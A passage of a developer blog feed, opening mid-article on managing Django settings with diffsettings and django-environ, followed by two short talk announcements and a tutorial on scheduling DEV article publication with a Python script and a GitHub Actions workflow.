The built-in tool that is available to you is the diffsettings command. This tool makes it easy to see the computed settings of your module. Since settings can come from multiple files (including Django's global_settings.py) or environment variables, inspecting the settings output of diffsettings is more convenient than thinking through how a setting is set.

By default, diffsettings will show a comparison of the settings module to the default Django settings. Settings that aren't in the defaults are marked with ### after the value to indicate that they are different.

I find that the default output is not the most useful mode. Instead, you can instruct diffsettings to output in a "unified" format. This format looks a lot more like a code diff. In addition, Django will colorize that output so that it's easier to see. Here's an example of some of the security settings by running ./manage.py diffsettings --output unified for one of my projects.

- SECURE_HSTS_INCLUDE_SUBDOMAINS = False
+ SECURE_HSTS_INCLUDE_SUBDOMAINS = True
- SECURE_PROXY_SSL_HEADER = None
+ SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')

Finally, I'll note that you can actually compare two separate settings modules. Let's say you wanted to compare settings between your development mode and your live site. Assuming your settings files are names like I described earlier, you could run something like:

$ ./manage.py diffsettings \
    --default project.settings.dev \
    --settings project.settings.prod \
    --output unified

By using the --default flag, we instruct Django that project.settings.dev is the baseline for comparison. This version of the command will show where the two settings modules are different.

Django only includes this single tool for working with settings, but I hope you can see that it's really handy. Now let's talk about a useful third party library that can help you with settings.

Earlier in the article, I noted that dealing with environment variables has the pitfall of working with string data for everything. Thankfully, there is a package that can help you work with environment variables. The project is called django-environ. django-environ primarily does two important things that I value:

The package allows you coerce strings into a desired data type.
The package will read from a file to load environment variables into your environment.

What does type coercion look like? With django-environ, you start with Env object.

# project/settings.py

import environ

env = environ.Env()

The keyword arguments to Env describe the different environment variables that you expect the app to process. The key is the name of the environment variable. The value is a two element tuple. The first tuple element is the type you want, and the second element is a default value if the environment variable doesn't exist.

If you want to be able to control DEBUG from an environment variable, the settings would be:

# project/settings.py

import environ

env = environ.Env(
    DEBUG=(bool, False),
)

DEBUG = env("DEBUG")

With this setup, your app will be safe by default with DEBUG set to False, but you'll be able to override that via the environment. django-environ works with a handful of strings that it will accept as True such as "on", "yes", "true", and others (see the documentation for more details).

Once you start using environment variables, you'll want an convenient way to set them when your app runs. Manually calling export for all your variables before running your app is a totally unsustainable way to run apps.

The Env class comes with a handy class method named read_env. With this method, your app can read environment variables into os.environ from a file. Conventionally, this file is named .env, and the file contains a list of key/value pairs that you want as environment variables. Following our earlier example, here's how we could set our app to be in debug mode:

# .env
DEBUG=on

Back in the settings file, you'd include read_env:

# project/settings.py

import environ

environ.Env.read_env()
env = environ.Env(
    DEBUG=(bool, False),
)

DEBUG = env("DEBUG")

If you use a .env file, you will occasionally find a need to put secrets into this file for testing. Since the file can be a source for secrets, you should add this to .gitignore or ignore it in whatever version control system you use. As time goes on, the list of variables and settings will likely grow, so it's also a common pattern to create a .env.example file that you can use as a template in case you ever need to start with a fresh clone of your repository.

My Preferred Settings Setup

Now we've looked at multiple strategies and tools for managing settings. I've used many of these schemes on various Django projects, so what is my preferred setup?

For the majority of uses, I find that working with django-environ in a single file is the best pattern in my experience.

When I use this approach, I make sure that all of my settings favor a safe default configuration. This minimizes the configuration that I have to do for a live site.

I like the flexibility of the pattern, and I find that I can quickly set certain configurations when developing. For instance, when I want to do certain kinds of testing like checking email rendering, I'll call something like:

$ EMAIL_TESTING=on ./manage.py runserver

My settings file has a small amount of configuration to alter the email settings to point emails to a local SMTP server tool called MailHog. Because I set an environment variable directly on my command line call, I can easily switch into a mode that sends email to MailHog for quick review.

Overall, I like the environment variable approach, but I do use more than one settings file for one important scenario: testing.

When I run my unit tests, I want to guarantee that certain conditions are always true. There are things that a test suite should never do in the vast majority of cases. Sending real emails is a good example. If I happen to configure my .env to test real emails for the local environment, I don't want my tests to send out an emails accidentally.

Thus, I create a separate testing settings file and configure my test runner (pytest) to use those settings. This settings file does mostly use the base environment, but I'll override some settings with explicit values. Here's how I protect myself from accidental live emails:

# project/testing_settings.py

from .settings import *

# Make sure that tests are never sending real emails.
EMAIL_BACKEND = "django.core.mail.backends.locmem.EmailBackend"

Even though my Env will look for an EMAIL_BACKEND environment variable to configure that setting dynamically, the testing setting is hardcoded to make email sending accidents impossible.

The combination of a single file for most settings sprinkled with a testing settings file for safety is the approach that has worked the best for me.

Summary

In this article, you learned about Django settings and how to manage the configuration of your application. We covered:

How Django is configured
Patterns for working with settings in your projects
Tools that help you observe and manage settings

In the next article, we will look at how to handle files and media provided by users (e.g., profile pictures). You'll learn about:

How Django models maintain references to files
How the files are managed in Django
Packages that can store files in various cloud services

Python Tears Through Mass Spectrometry Data

Matt Layman — Mon, 12 Jul 2021 20:17:28 +0000

At the November 2019 Python Frederick event, Conor Jenkins showed the group how mass spectrometry works and how Python saves huge amounts of time when processing the large amount of data produced by a mass spec analysis.

The recording from the talk is available on YouTube. Check it out!

Questions? Feel free to mention me on Twitter at @mblayman so I can try to respond to your question.

Godot You Want To Make A Videogame

Matt Layman — Mon, 05 Jul 2021 20:13:23 +0000

What is Godot? It's an open source game engine for making high quality 2D or 3D videogames! At this Frederick Linux User Group (KeyLUG) presentation, I explained how Godot works, compared it with other popular engines, and showed off some of its features.

The recording from the talk is available on YouTube. Check it out!

In this presentation, we looked into:

Other popular open source game engines like Pygame, LÖVE, and Phaser.
The proprietary options of Unity, GameMaker Studio 2, Unreal Engine, and CRYENGINE.
why Godot is a great choice.
how to use the editor.
sample projects that showcase different types of games.

Questions? Feel free to mention me on Twitter at @mblayman so I can try to respond to your question.

Publish to DEV automatically with GitHub Actions

Matt Layman — Mon, 28 Jun 2021 20:13:19 +0000

DEV is a great community for developer content. If you have articles that you don't want live all at once, how can you publish on a schedule automatically? In this article, let's use GitHub Actions to get your content online on your timeline.

GitHub Actions is a way to run code on GitHub's servers. The service is effectively a Continuous Integration (CI) service from GitHub. To use GitHub Actions, we create a workflow in a Git repository. That workflow contains all the steps to run the code we care about.

To publish to DEV, we can:

Use a workflow...
To read a publishing schedule we create...
And check the current time...
And publish an article to DEV if the publish date is in the past.

Before we get to the workflow, let's look at the code that will run.

Creating a schedule

The first step in this whole process is to create a publishing schedule that our script can read. Minimally, that requires two types of data from a list of articles:

The ID of the article
The datetime to publish at

So, where do we get those things?

The first datum comes from your actual unpublished articles. From my observation, the DEV website does not expose this ID in an obvious fashion from the UI, but it's not hard to find.

From your unpublished article page, view the source of the page. In both Firefox and Chrome, you can get to this by selecting "View Page Source" when you right click somewhere on the page.

On the source page, search for article-id with Ctrl+F (or Cmd+F on macOS). You should find a number value like 168727.

Now we have what we need to build a schedule. We'll use the JSON format for the schedule because Python can read that format easily. You can name the file whatever you want, but I called mine devto-schedule.json and stored it at the root of my repository.

We also need a datetime when we want to publish the article. I used the ISO-8601 standard to make dates that we can compare to the current time. To continue our example, if I want to publish the article on October 22, 2019 at 2pm Eastern Time in the US, then the schedule looks like:

[{
    "id": 168727,
    "publish_date": "2019-10-22T18:00:00+00:00",
    "title": "Ep 11"
},
{
    "id": 167526,
    "publish_date": "2019-10-15T18:00:00+00:00",
    "title": "Ep 10"
}]

We've got the ID as id and the datetime as publish_date. The publish_date uses UTC to store the time. Timezones are hard so I would always recommend storing your datetimes in UTC.

I also included a title so I know what article the object refers to in the future. title isn't necessary, but it's useful for tracking the articles.

Notice that this is a JSON list. I included an extra article so you can see what this would look like if the script checks multiple articles (which is kind of the point).

Publishing to DEV

With the schedule in hand, we're ready to look at the code that will do all the work. I'll start by showing the whole script, and we'll break it down into each section.

First, the main file, publish.py:

"""Publish scheduled articles to DEV."""
import datetime
import json
import logging
import sys

from dateutil.parser import parse

from devto import DEVGateway

logger = logging.getLogger(__name__)


def publish_scheduled_articles():
    dev_gateway = DEVGateway()
    published_articles = dev_gateway.get_published_articles()
    published_article_ids = set([article["id"]
                                for article in published_articles])

    scheduled_articles = get_scheduled_articles()
    for scheduled_article in scheduled_articles:
        if should_publish(scheduled_article, published_article_ids):
            article_id = scheduled_article["id"]
            logger.info(f"Publishing article with id: {article_id}")
            dev_gateway.publish(article_id)


def get_scheduled_articles():
    """Get the schedule."""
    logger.info("Read schedule.")
    with open("devto-schedule.json", "r") as f:
        return json.load(f)


def should_publish(article, published_article_ids):
    """Check if the article should be published.

    This depends on if the date is in the past
    and if the article is already published.
    """
    publish_date = parse(article["publish_date"])
    now = datetime.datetime.now(datetime.timezone.utc)
    return publish_date < now and article["id"] not in published_article_ids


if __name__ == "__main__":
    logging.basicConfig(
        format="%(levelname)s: %(message)s",
        level=logging.INFO, stream=sys.stdout
    )
    publish_scheduled_articles()

And then the supporting DEV file, devto.py:

import os

import requests


class DEVGateway:
    url = "https://dev.to/api"

    def __init__(self):
        self.session = requests.Session()
        self.session.headers = {"api-key": os.environ["DEV_API_KEY"]}

    def get_published_articles(self):
        """Get all the published articles."""
        response = self.session.get(
            f"{self.url}/articles/me/published", params={"per_page": 1000}
        )
        response.raise_for_status()
        return response.json()

    def publish(self, article_id):
        """Publish the article."""
        data = {"article": {"published": True}}
        response = self.session.put(f"{self.url}/articles/{article_id}",
                                    json=data)
        response.raise_for_status()

The top down view

Let's start our examination with the entry point at the bottom of the publish.py file.

if __name__ == "__main__":
    logging.basicConfig(
        format="%(levelname)s: %(message)s",
        level=logging.INFO, stream=sys.stdout
    )
    publish_scheduled_articles()

This code follows Python's popular pattern of checking the __name__ attribute to see if it is __main__. This will be true when the code runs with python3 publish.py.

Since the script is going to run in Continuous Integration, we configure the logging to output to stdout. Running on stdout is necessary because we don't have easy access to files generated from GitHub Actions, including log files.

The next call is to publish_scheduled_articles. I could have called this main, but I chose to give it a descriptive name. We'll continue working top down to see what publish_scheduled_articles does.

def publish_scheduled_articles():
    dev_gateway = DEVGateway()
    published_articles = dev_gateway.get_published_articles()
    published_article_ids = set([article["id"]
                                for article in published_articles])

    scheduled_articles = get_scheduled_articles()
    for scheduled_article in scheduled_articles:
        if should_publish(scheduled_article, published_article_ids):
            article_id = scheduled_article["id"]
            logger.info(f"Publishing article with id: {article_id}")
            dev_gateway.publish(article_id)

The overall flow of this function can be described as:

Get what is already published to DEV.
Get what is scheduled for publishing.
Publish a scheduled article if it should be published.

To see what is published on DEV, we need to dig into the next layer and see how we communicate with DEV.

A gateway to DEV

DEV has a JSON API that developers can interact with. To keep a clean abstraction layer, I used the Gateway Pattern to hide the details of how that API communication happens. By doing that, the script interacts with a high level interface (like get_published_articles) rather than fiddling with the requests module directly.

class DEVGateway:
    url = "https://dev.to/api"

    def __init__(self):
        self.session = requests.Session()
        self.session.headers = {"api-key": os.environ["DEV_API_KEY"]}

    def get_published_articles(self):
        """Get all the published articles."""
        response = self.session.get(
            f"{self.url}/articles/me/published", params={"per_page": 1000}
        )
        response.raise_for_status()
        return response.json()

When we create a gateway instance, we start a requests.Session that is configured with the proper API key. We'll talk about how GitHub gets access to that API key later, but you'll need to create a key on the DEV website. You can find this under your Settings/Account section.

With the key available, we can ask DEV about our own stuff. I used the /articles/me/published API to get the list of published articles. The published articles are required to check that the script is idempotent (which means that we can safely run it repeatedly without suffering from weird side effects).

Since the gateway is small, let's look at its other method before moving on.

    def publish(self, article_id):
        """Publish the article."""
        data = {"article": {"published": True}}
        response = self.session.put(f"{self.url}/articles/{article_id}",
                                    json=data)
        response.raise_for_status()

When the script confirms that an article is ready to publish, we change the state of the article by setting the published attribute to True. We do this state modification with an HTTP PUT.

The other bit of code worth discussing is response.raise_for_status(). Truthfully, I was a bit lazy when writing this part of the script. raise_for_status will raise an exception whenever the response is not a 200 OK. I put it in as a safeguard in case something about the API changes in the future. The part that's missing (and the laziness that I mentioned) is the handling of those exceptions.

When a request failure occurs, this script is going to fail hard and dump out a traceback. From my point of view, that's fine. Since this will be part of a CI job, the only person seeing the traceback will be me, and I will want whatever data the traceback reports. This is one of those scenarios where a developer tool can have a sharper edge than production-caliber code and be perfectly reasonable.

Checking the schedule

Now we've seen how the gateway works. We can move our attention to the schedule.

def get_scheduled_articles():
    """Get the schedule."""
    logger.info("Read schedule.")
    with open("devto-schedule.json", "r") as f:
        return json.load(f)

This might be the most vanilla code in the entire script. This code reads the JSON file which has our schedule of articles. The file handle is passed to load to create the list of articles with a future publication date.

    for scheduled_article in scheduled_articles:
        if should_publish(scheduled_article, published_article_ids):
            article_id = scheduled_article["id"]
            logger.info(f"Publishing article with id: {article_id}")
            dev_gateway.publish(article_id)

Here is the heart of the script. We:

Loop through the schedule.
Check if we should publish an article.
Publish the article if we should.

Why did I pull the list of published articles earlier? Now we get our answer when examining should_publish which needs the published articles.

def should_publish(article, published_article_ids):
    """Check if the article should be published.

    This depends on if the date is in the past
    and if the article is already published.
    """
    publish_date = parse(article["publish_date"])
    now = datetime.datetime.now(datetime.timezone.utc)
    return publish_date < now and article["id"] not in published_article_ids

There are actually two factors to consider when checking a scheduled article.

Is the article's publication date in the past from now?
Has the script already published the article?

That second question is less obvious until you see that this CI job is running regularly. Because we'll configure the script to run every hour, we want to ensure that we don't try to publish an article multiple times. should_publish guards against multiple publishing by checking if the article's id is in the list of published IDs.

Now you've seen from top to bottom how this script can publish articles to DEV. Our next step is to hook the script into GitHub Actions.

Running on GitHub Actions

GitHub Actions works by defining workflows in a .github/workflows directory in your repository. The workflow file is a YAML file with the commands to do the work.

We're calling our workflow .github/workflows/devto-publisher.yaml, but you can name it whatever you want as long as the extension ends with .yaml or .yml.

As before, let's look at the entire workflow file and break down the pieces to get an understanding of what's happening.

name: DEV Publisher
on:
  schedule:
    - cron: '0 * * * *'

jobs:
  publish:
    name: Publish to DEV
    runs-on: ubuntu-latest
    steps:
      - name: Get the code
        uses: actions/checkout@v1
        with:
          fetch-depth: 1
      - name: Set up Python
        uses: actions/setup-python@v1
        with:
          python-version: '3.x'
          architecture: 'x64'
      - name: Install packages
        run: pip install -r requirements/pub.txt
      - name: Run publisher
        run: python bin/publish.py
        env:
          DEV_API_KEY: ${{ secrets.DEV_API_KEY }}

You can optionally give your workflow a name. I like adding a name because it's friendlier for me to read in the logs over the filename. If filenames suit you better, skip it!

on:
  schedule:
    - cron: '0 * * * *'

The on section is critical and defines when your action will occur. There are tons of different events you can use. For this workflow, we need the schedule trigger. All the gory details about it are in the documentation.

If you're familiar with cron, this syntax won't shock you. Non-cron users might wonder what the heck is going on. The docs explains all the syntax, but this particular string of 0 * * * * means "run on the zeroth minute of every hour of every day." In other words, "run at the start of every hour."

jobs:
  publish:
    name: Publish to DEV
    runs-on: ubuntu-latest

All workflows need at least one job. Without a job, there is nothing for the action to do. I've named this job publish, given it a friendly name, and defined what operating system to run on (namely, Ubuntu).

    steps:
      - name: Get the code
        uses: actions/checkout@v1
        with:
          fetch-depth: 1
      - name: Set up Python
        uses: actions/setup-python@v1
        with:
          python-version: '3.x'
          architecture: 'x64'
      - name: Install packages
        run: pip install -r requirements/pub.txt
      - name: Run publisher
        run: python bin/publish.py
        env:
          DEV_API_KEY: ${{ secrets.DEV_API_KEY }}

The job runs a series of steps. Again, I tried to name each step so that we can get a readable flow of what is happening. If I extract the names, we get:

Get the code
Set up Python
Install packages
Run publisher

The first two steps in the process pull from pre-built actions developed by GitHub. GitHub gives us these actions to save time from figuring these things out ourselves. For instance, without the actions/checkout@v1 action, how would we get a local clone? It would be really challenging.

The third step starts to use configuration specific to my job. In order for the script to run, it needs dependencies installed so we can import requests and dateutil. I defined a requirements/pub.txt file that includes all the needed dependencies.

Here's what the requirements file looks like:

#
# This file is autogenerated by pip-compile
# To update, run:
#
#    pip-compile requirements/pub.in
#
certifi==2019.9.11        # via requests
chardet==3.0.4            # via requests
idna==2.8                 # via requests
python-dateutil==2.8.0
requests==2.22.0
six==1.12.0               # via python-dateutil
urllib3==1.25.3           # via requests

Finally, we get to the step that runs the publisher.

      - name: Run publisher
        run: python bin/publish.py
        env:
          DEV_API_KEY: ${{ secrets.DEV_API_KEY }}

This is pretty vanilla except for the DEV_API_KEY line. Look back at the DEVGateway.__init__ method. The method pulls from os.environ to get the API key. In our YAML file, we're wiring the DEV_API_KEY environment variable to the secrets.DEV_API_KEY. We need to tell GitHub about our API key.

In your GitHub repository settings, we can define secrets. These secrets are available to workflow files as we see from the "Run publisher" step. Create a secret named DEV_API_KEY that contains your DEV API key.

Now everything is in place to run the publisher. This workflow will execute every hour and run the publish job. That job will setup the environment and execute the publish.py script. The script will call DEV and publish any articles in your schedule that should be published.

What did we learn?

In this article, I tried to show off a few different topics.

How to communicate with the DEV API
How to create a file that a computer can read and parse (i.e., the JSON schedule)
How to use GitHub actions to run some code for your repository.

Want to see all this code in context? The repository for this website has all the files we covered.

There are so many other things you can do with GitHub Actions. Now you can write about them all and put them on a schedule for other developers to read when you're ready.

If you have questions or enjoyed this article, please feel free to message me on Twitter at @mblayman or share if others might be interested too.